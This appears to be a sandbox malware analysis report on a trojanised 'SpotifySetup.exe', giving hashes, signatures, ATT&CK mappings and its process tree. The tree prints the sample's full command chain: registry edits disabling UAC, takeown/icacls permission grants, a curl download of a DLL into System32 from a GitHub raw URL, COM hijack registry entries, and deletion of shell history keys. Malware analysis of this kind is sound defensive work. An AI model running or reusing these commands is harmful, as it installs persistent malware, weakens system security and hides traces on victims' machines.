Analysis
- user interaction
yes - max time kernel
150s - max time network
129s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
15/07/2026, 18:44
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
SpotifySetup.exe
Resource
win10v2004-20260513-en
18 signatures
150 seconds
Behavioral task
behavioral2
Sample
SpotifySetup.exe
Resource
win11ltsc2024-20260710-en
15 signatures
150 seconds
General
- Target SpotifySetup.exe
- Size 271KB
- Sample260715-xdsmcsb17m
- SHA256 7f191c5f9f3bb3e4bd5c2c89fd641ea920edcc06a1dd0be32453cdd54dc0de1c
- MD5 31505a0fb20d0018c4d680b9d5d41b36
- SHA1 ac549230cf35805be7015a870c44e3002d0c8882
- SHA512 e01293fd68903ccef1340fea0c08dab89e97928849e1973e4679fca5df1c964ccb3e60614562a48b97b70af739b2fca83e2f808c580111f9fcd521fa31d40363
- SSDEEP 6144:4//EouquoDybQ1dXNw/KvFq+UNj73eJPA5FuLS:CjDybYd/K7/
- TLSH T14B44F837E76384B8C29B92B4B786CAF1B031BC141330A91E47C5CB223F9BD545F99999
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- UAC bypass 3 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" SpotifySetup.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" SpotifySetup.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" SpotifySetup.exe - Possible privilege escalation attempt 3 IoCs
pid Process 4896 icacls.exe 4232 takeown.exe 3988 icacls.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Loads dropped DLL 1 IoCs
pid Process 4820 SpotifySetup.exe - Modifies file permissions 1 TTPs 3 IoCs
pid Process 4232 takeown.exe 3988 icacls.exe 4896 icacls.exe - Checks whether UAC is enabled 1 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" SpotifySetup.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 2 raw.githubusercontent.com 3 raw.githubusercontent.com - File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\dmdskmgrs.dll curl.exe - Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.
- Modifies registry class 21 IoCs
description ioc Process Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID reg.exe Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU reg.exe Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3} reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{DBFCA500-8C31-11D0-AA2C-00A0C92749A3}\InprocServer32 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell reg.exe Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\Microsoft.Windows.ControlPanel reg.exe Key created \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32 reg.exe Key created \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3} reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32\ = "C:\\Windows\\system32\\dmdskmgrs.dll" reg.exe Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 reg.exe Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7} reg.exe Key deleted \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell reg.exe Key created \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\CLSID reg.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 5044 WMIC.exe 5044 WMIC.exe 5044 WMIC.exe 5044 WMIC.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeTakeOwnershipPrivilege 4232 takeown.exe Token: SeIncreaseQuotaPrivilege 5044 WMIC.exe Token: SeSecurityPrivilege 5044 WMIC.exe Token: SeTakeOwnershipPrivilege 5044 WMIC.exe Token: SeLoadDriverPrivilege 5044 WMIC.exe Token: SeSystemProfilePrivilege 5044 WMIC.exe Token: SeSystemtimePrivilege 5044 WMIC.exe Token: SeProfSingleProcessPrivilege 5044 WMIC.exe Token: SeIncBasePriorityPrivilege 5044 WMIC.exe Token: SeCreatePagefilePrivilege 5044 WMIC.exe Token: SeBackupPrivilege 5044 WMIC.exe Token: SeRestorePrivilege 5044 WMIC.exe Token: SeShutdownPrivilege 5044 WMIC.exe Token: SeDebugPrivilege 5044 WMIC.exe Token: SeSystemEnvironmentPrivilege 5044 WMIC.exe Token: SeRemoteShutdownPrivilege 5044 WMIC.exe Token: SeUndockPrivilege 5044 WMIC.exe Token: SeManageVolumePrivilege 5044 WMIC.exe Token: 33 5044 WMIC.exe Token: 34 5044 WMIC.exe Token: 35 5044 WMIC.exe Token: 36 5044 WMIC.exe Token: SeIncreaseQuotaPrivilege 5044 WMIC.exe Token: SeSecurityPrivilege 5044 WMIC.exe Token: SeTakeOwnershipPrivilege 5044 WMIC.exe Token: SeLoadDriverPrivilege 5044 WMIC.exe Token: SeSystemProfilePrivilege 5044 WMIC.exe Token: SeSystemtimePrivilege 5044 WMIC.exe Token: SeProfSingleProcessPrivilege 5044 WMIC.exe Token: SeIncBasePriorityPrivilege 5044 WMIC.exe Token: SeCreatePagefilePrivilege 5044 WMIC.exe Token: SeBackupPrivilege 5044 WMIC.exe Token: SeRestorePrivilege 5044 WMIC.exe Token: SeShutdownPrivilege 5044 WMIC.exe Token: SeDebugPrivilege 5044 WMIC.exe Token: SeSystemEnvironmentPrivilege 5044 WMIC.exe Token: SeRemoteShutdownPrivilege 5044 WMIC.exe Token: SeUndockPrivilege 5044 WMIC.exe Token: SeManageVolumePrivilege 5044 WMIC.exe Token: 33 5044 WMIC.exe Token: 34 5044 WMIC.exe Token: 35 5044 WMIC.exe Token: 36 5044 WMIC.exe - Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 4820 wrote to memory of 2236 4820 SpotifySetup.exe 88 PID 2236 wrote to memory of 4232 2236 cmd.exe 89 PID 4820 wrote to memory of 4196 4820 SpotifySetup.exe 90 PID 4196 wrote to memory of 3988 4196 cmd.exe 91 PID 4820 wrote to memory of 1796 4820 SpotifySetup.exe 92 PID 1796 wrote to memory of 4896 1796 cmd.exe 93 PID 4820 wrote to memory of 5708 4820 SpotifySetup.exe 94 PID 5708 wrote to memory of 5956 5708 cmd.exe 95 PID 4820 wrote to memory of 4800 4820 SpotifySetup.exe 96 PID 4800 wrote to memory of 4660 4800 cmd.exe 97 PID 4820 wrote to memory of 5104 4820 SpotifySetup.exe 98 PID 5104 wrote to memory of 4840 5104 cmd.exe 99 PID 4820 wrote to memory of 5068 4820 SpotifySetup.exe 100 PID 5068 wrote to memory of 5044 5068 cmd.exe 101 PID 4820 wrote to memory of 3772 4820 SpotifySetup.exe 103 PID 3772 wrote to memory of 2796 3772 cmd.exe 104 PID 4820 wrote to memory of 6052 4820 SpotifySetup.exe 105 PID 6052 wrote to memory of 2000 6052 cmd.exe 106 PID 4820 wrote to memory of 4564 4820 SpotifySetup.exe 107 - System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" SpotifySetup.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" SpotifySetup.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" SpotifySetup.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\SpotifySetup.exe"C:\Users\Admin\AppData\Local\Temp\SpotifySetup.exe"1⤵
- UAC bypass
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4820 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c takeown /f "C:\Windows\system32\dmdskmgrs.dll" /a >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:2236 -
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\dmdskmgrs.dll" /a3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4232
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Windows\system32\dmdskmgrs.dll" /grant administrators:F /c >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:4196 -
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\dmdskmgrs.dll" /grant administrators:F /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3988
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Windows\system32\dmdskmgrs.dll" /grant Everyone:F /c >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\dmdskmgrs.dll" /grant Everyone:F /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4896
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -s -o "C:\Windows\system32\dmdskmgrs.dll" "https://raw.githubusercontent.com/Johnsam3/test/main/dmdskmgrs.dll" >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:5708 -
C:\Windows\system32\curl.execurl -s -o "C:\Windows\system32\dmdskmgrs.dll" "https://raw.githubusercontent.com/Johnsam3/test/main/dmdskmgrs.dll"3⤵
- Drops file in System32 directory
PID:5956
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\system32\dmdskmgrs.dll" /f >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:4800 -
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\system32\dmdskmgrs.dll" /f3⤵
- Modifies registry class
PID:4660
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\system32\dmdskmgrs.dll" /f >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:5104 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Classes\CLSID\{dbfca500-8c31-11d0-aa2c-00a0c92749a3}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\system32\dmdskmgrs.dll" /f3⤵
- Modifies registry class
PID:4840
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic recoveros set WriteDebugInfo=FALSE >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:5068 -
C:\Windows\System32\Wbem\WMIC.exewmic recoveros set WriteDebugInfo=FALSE3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5044
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU" /f >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:3772 -
C:\Windows\system32\reg.exereg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU" /f3⤵
- Modifies registry class
PID:2796
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags" /f >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
PID:6052 -
C:\Windows\system32\reg.exereg delete "HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags" /f3⤵
- Modifies registry class
PID:2000
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c pause2⤵PID:4564
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Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
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Downloads
- Path C:\Windows\system32\dmdskmgrs.dll
- Size 9KB
- SHA256 67ca289cb276cd02c7ebea70b069afc508ace4cfb6d7d93f5913a727b78b934f
- MD5 20f68af7663bfe32ee41cc3b3a8699f6
- SHA1 6e47bcd412f7bff408fb678c44d0d0807502015b
- SHA512 6cebf5912a792058d538d614ec9435c68082001a6c8c9c3b984d6d473b73b3218d6667870908c6e0291be0f56445030d7275551d3af63cbe1b9f655ef81de33b
- SSDEEP 96:2s0nQtic3BdgMTo9uSc5WxdcJIgEr3u4JEy9ZRvQt7o+y6ZFnWAzxHtOgjRm0l:Y+h3FTodJ+aJEcj6ZtWAzxHIgj
- TLSH T135122A5DB51185EDD96EC1B4C8630E8E916AF710131263CB1371A02B0EA378FB53B786
- MD5 SHA1 SHA512 SSDEEP TLSH